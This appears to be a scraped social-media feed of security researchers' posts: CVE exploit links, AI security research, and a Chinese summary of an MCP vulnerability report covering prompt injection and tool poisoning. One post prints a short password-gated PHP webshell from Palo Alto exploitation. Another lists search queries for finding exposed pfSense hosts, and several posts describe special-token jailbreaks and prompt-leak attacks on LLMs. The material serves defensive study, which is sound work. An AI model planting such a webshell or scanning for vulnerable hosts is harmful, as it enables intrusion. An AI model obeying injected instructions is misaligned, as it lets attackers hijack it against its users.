C0de3

Hack Windows&Linux . Kernel Bug hunter.
Pentest amateur.Pwn2own 2017. AIGC Security .

[Claude @claudeai]

Your work tools in Claude are now available on mobile.

Explore Figma designs, create Canva slides, check Amplitude dashboards, all from your phone.

Give it a try: https://t.co/hwPB3zlk0w

[Joe Desimone @dez_]

All credit to @maple3142 but verified this works. Full PoC: https://t.co/4K21aVGGQT

[AI for Good 🇺🇳 #AIforGood @AIforGood]

Today at #AIforGood Impact Africa during @aiexpoafrica 2025 in Johannesburg, we launched the Innovate for Impact Report! Unveiled during the Innovate for Impact Awards, the report showcases inspiring #AI projects and individuals using technology to drive real-world change, responsibly and inclusively.

We are proud to recognize innovative projects, including :
🐘 Combating wildlife trade with AI
🏥 Expanding healthcare access through medical large models
🌊 Protecting marine ecosystems with GeoGPT
🌾 Empowering African farmers with AI solutions
🧠 Enhancing accessibility through on-device intelligence
💡 Advancing “Innovate for Impact” analysis and leadership in AI standards

Each of them highlights how #AI can be a force for good, empowering people, protecting the planet, and shaping a more sustainable future.

🌐Read the report now: https://t.co/K19oOzlVXV

[meng shao @shao__meng]

MCP 安全: Top 25 MCP 漏洞报告，来自 @Adversa_AI 团队发布 —— 是全球首份全面分析 MCP 安全漏洞的深度报告，基于威胁情报、CVE 数据库和渗透测试，帮助开发者、安全专家和组织识别风险、统一术语，并制定缓解策略。报告强调 MCP 生态面临严重挑战，许多漏洞源于协议设计缺陷和实现疏忽，影响从客户端到服务器的所有组件。

报告的核心是 “Top 25 MCP 漏洞” 分类系统，按影响分数（1-10分）排序，分为 Critical（1-5，严重系统妥协）、High（6-15，大规模数据泄露）、Medium（16-21，局部影响）和 Low（22-25，最小影响）。每个漏洞包括类别、组件、影响、利用难度和缓解建议。

1. 漏洞分类框架
报告引入多维度分类，帮助安全团队评估风险：
· 类别（7类）：如输入/指令边界区分失败（AI特有注入攻击）、输入验证失败（传统 AppSec 问题，如命令注入）、认证缺失、会话管理缺陷等。
· 特异性：AI（LLM 独有，如提示注入）、AppSec（通用软件漏洞）、Unique（MCP 架构特有，如工具中毒）、Both（混合）。
· 利用难度：从 Trivial（基本知识即可）到 Very Complex （需国家级资源）。
· 影响级别：基于机密性、完整性和可用性损失。
· 受影响组件：MCP 客户端（IDE/用户应用）、MCP 服务器（工具暴露层）或 Both。
· 流行度：从 Universal（设计固有）到 Rare/Theoretical。

此框架借鉴 STRIDE 威胁建模和 MITRE ATT&CK，结合 AI 特有风险，提供可操作情报。

2. Top 25 漏洞总结表
报告提供快速参考表，见下图。
排名依据：影响（40%权重）、利用性（30%）、流行度（20%）、修复难度（10%）。报告引用多个 CVE（如 CVE-2025-6514），并链接参考资源。

3. 详细漏洞分析亮点
报告对每个漏洞提供 “Why Important”（重要性）、What/Who/Where/When/How（描述）、Impact 和 Alternative Names。重点突出 Critical 级：
· #1 提示注入：MCP 基础风险，攻击者通过隐藏提示劫持 LLM 行为，无完整修复，需防御深度。
· #2 命令注入：43% MCP 服务器受影响，经典但可避免，影响 OS 级控制。
· #3 工具中毒：MCP 独特，工具描述中嵌入不可见指令，测试成功率100%。
· #4 RCE：多向量（如反序列化），影响数十万安装。
· #5 未认证访问：协议设计疏忽，Shodan 常扫描暴露端点。

High/Medium 级聚焦新兴威胁如工具更新攻击（#14）和权限滥用（#19），Low 级多为理论或易防。

4. 安全推荐与行动计划
报告强调“无完整修复”的 AI 风险（如注入），倡导零信任和防御深度。分层策略：
· 协议层：强制认证、会话超时、TLS 加密、限流。
· 应用层：输入验证、参数化查询、审计。
· AI 层：内容过滤、工具签名、行为分析。
· 基础设施层：网络隔离、日志监控、补丁管理。

优先时间线：
· 立即（24小时）：加认证、修复网络绑定、轮换凭证。
· 短期（1周）：输入验证、权限审查、TLS 部署。
· 中期（1月）：会话管理、工具验证、审计。
· 长期（3月）：零信任重构、AI 监控、持续测试。

5. 研究方法与局限
基于 Adversa 威胁情报、CVE 审查、学术论文、红队测试和专家访谈。排名反映 2025年1月 共识，但漏洞流行度随部署演变。报告免责：仅教育用途，测试需授权。

[Dark Web Informer @DarkWebInformer]

APKDeepLens is a Python based tool designed to scan Android applications (APK files) for security vulnerabilities.

GitHub: https://t.co/4ZL3ox8x4F

[Linux Kernel Security @linkersec]

Bypassing MTE with CVE-2025-0072

Article by @mmolgtm about exploiting a page use-after-free vulnerability in the ARM's Mali GPU driver in the code that manages userspace-mapped pages.

https://t.co/gLfxDrcIOB

[Dark Web Informer @DarkWebInformer]

hackGPT: I leverage OpenAI and ChatGPT to do hackerish things

Link: https://t.co/r030OkG6Qn
GitHub: https://t.co/ODu8dAkvqt

[meng shao @shao__meng]

Open-R1: DeepSeek-R1大模型开源复现计划

概述：HuggingFace 发布的完全开放的项目，旨在分三步(知识蒸馏、强化学习、多阶段训练)复现 DeepSeek-R1 的完整训练流程，让更多人能理解和使用这套技术方案

项目分三个主要步骤：
· 步骤 1: 通过从 DeepSeek-R1 中提取高质量的推理语料，复现 R1-Distill 模型
· 步骤 2: 复现用于创建 R1-Zero 的纯强化学习(RL)流程，这需要建立数学、推理和代码方面的大规模数据集
· 步骤 3: 展示如何通过多阶段训练，将基础模型提升到 RL 调优的水平

项目结构简洁明了：
核心代码在 src/open_r1 目录下，包含:
· https://t.co/WnvT9OXlsl: 在给定数据集上用 GRPO 训练模型
· https://t.co/QPTk4p7184: 简单的 SFT (监督微调)训练
· https://t.co/MFUJJErsbz: 在 R1 基准测试上评估模型
· https://t.co/Qtn9LGZnVn: 使用 Distilabel 生成合成数据

技术特点：
· 支持 DDP 或 DeepSpeed ZeRO-2/3 进行训练
· 使用 vLLM 进行模型评估
· 支持多种并行策略：数据并行和张量并行
· 针对大规模硬件(如 8×H100 GPU)优化

[Ilia Shumailov🦔 @iliaishacked]

📢 New security risk for Mixture-of-Experts (MoE)! 📢
@GoogleDeepMind research reveals a new kind of vulnerability that could leak user prompts in MoE models. Our "MoE Tiebreak Leakage" attack exploits the Expert Choice Routing strategy. https://t.co/DkCSW4ed4s

[Shanholo @ShanHolo]

Actively #PaloAlto #Vulnerability CVE-2024-0012 (9.3) and CVE-2024-9474 (6.9) exploitation is in the wild.

Post-explotaition #Webshell example dropped. 😯

<?php $z="system";
if(${"_POST"}["b"]=="iUqPd")
{
$z(${"_POST"}["x"]);
};

https://t.co/oynymXs43b

[blackorbird @blackorbird]

Analysis of the URL File Zero-Day Vulnerability
CVE-2024-43451
https://t.co/eKgRnbD1pd

[Vaibhav Tulsyan @xennygrimmato_]

Today I'm excited to share with you all that our security AI Agent called "Big Sleep" has found its first vulnerability in an open-source codebase! This has been a great collaborative effort between
@GoogleDeepMind and Google Project Zero.

https://t.co/mArCx7QXqC

[Cyber Advising @cyber_advising]

CVE-2024-40801 in macOS allowed a sandboxed app to bypass TCC protections and access sensitive user data without requiring user permission.

This issue has since been fixed in macOS Sonoma 14.7 and macOS Sequoia 15.0.

PoC
https://t.co/HkE5Vja6if

[Linux Kernel Security @linkersec]

CVE-2022-22265: Samsung NPU driver

An article by @javierprtd about exploiting a slab double-free in the Samsung's NPU driver via the Dirty Pagetable technique.

https://t.co/vTEjstwtMO

[Tianyu Pang @TianyuPang1]

@karpathy Indeed! Our recent work exactly used these special tokens (</INST>, <|end_header_id|>, etc.) to efficiently jailbreak LLMs.

https://t.co/076H90r5dh

[Andrej Karpathy @karpathy]

SQL injection-like attack on LLMs with special tokens

The decision by LLM tokenizers to parse special tokens in the input string (<s>, <|endoftext|>, etc.), while convenient looking, leads to footguns at best and LLM security vulnerabilities at worst, equivalent to SQL injection attacks.

!!! User input strings are untrusted data !!!

In SQL injection you can pwn bad code with e.g. the DROP TABLE attack. In LLMs we'll get the same issue, where bad code (very easy to mess up with current Tokenizer APIs and their defaults) will parse input string's special token descriptors as actual special tokens, mess up the input representations and drive the LLM out of distribution of chat templates.

Example with the current huggingface Llama 3 tokenizer defaults:
Two unintuitive things are happening at the same time:
1. The <|begin_of_text|> token (128000) was added to the front of the sequence.
2. The <|end_of_text|> token (128001) was parsed out of our string and the special token was inserted. Our text (which could have come from a user) is now possibly messing with the token protocol and taking the LLM out of distribution with undefined outcomes.

I recommend always tokenizing with two additional flags, disabling (1) with add_special_tokens=False and (2) with split_special_tokens=True, and adding the special tokens yourself in code. Both of these options are I think a bit confusingly named. For the chat model, I think you can also use the Chat Templates apply_chat_template.

With this we get something that looks more correct, and we see that <|end_of_text|> is now treated as any other string sequence, and is broken up by the underlying BPE tokenizer as any other string would be:
TLDR imo calls to encode/decode should never handle special tokens by parsing strings, I would deprecate this functionality entirely and forever. These should only be added explicitly and programmatically by separate code paths. In tiktoken, e.g. always use encode_ordinary. In huggingface, be safer with the flags above. At the very least, be aware of the issue and always visualize your tokens and test your code. I feel like this stuff is so subtle and poorly documented that I'd expect somewhere around 50% of the code out there to have bugs related to this issue right now.

Even ChatGPT does something weird here. At best it just deletes the tokens, at worst this is confusing the LLM in an undefined way, I don't really know happens under the hood, but ChatGPT can't repeat the string "<|endoftext|>" back to me:

Be careful out there.

[Lin Tan @Lin0Tan]

Introducing ReSym (CCS'24): our binary analysis technique, an LLM+static analysis solution that recovers names, types, and layouts of variables and data structures from binaries https://t.co/7ln6lFfYnJ @danning_x, @i2huer, @NanJiang719, @XiangzheX XiangyuZhang #LLM4code #CCS #LLM

[Hunter @HunterMapping]

🚨Alert🚨CVE-2022-31814: Exploiting pfsense Remote Code Execution
🔥PoC:https://t.co/IAgC7UKgvl
🧐Deep Dive:https://t.co/Iohru7mCpZ
📊 422K+ Services are found on https://t.co/g3tSyh13yE nearly year.
🔗Hunter Link:https://t.co/p9WcKnC8PF
👇Search Query
HUNTER:/product.name="pfsense"
SHODAN: http.favicon.hash:1405460984
FOFA: app="pfSense"
#pfSense #RCE #hunterhow #infosec #infosecurity #OSINT #Vulnerability

[klez @KlezVirus]

[RELEASE] Following the talk at DEF CON, I'm releasing all the POC projects associated with DriverJack. More info in the repos. For any additional info, hit me up ;)

- https://t.co/VmVpVtNkhD
- https://t.co/Cdzi5RBgVE
- https://t.co/RjN05qKeXg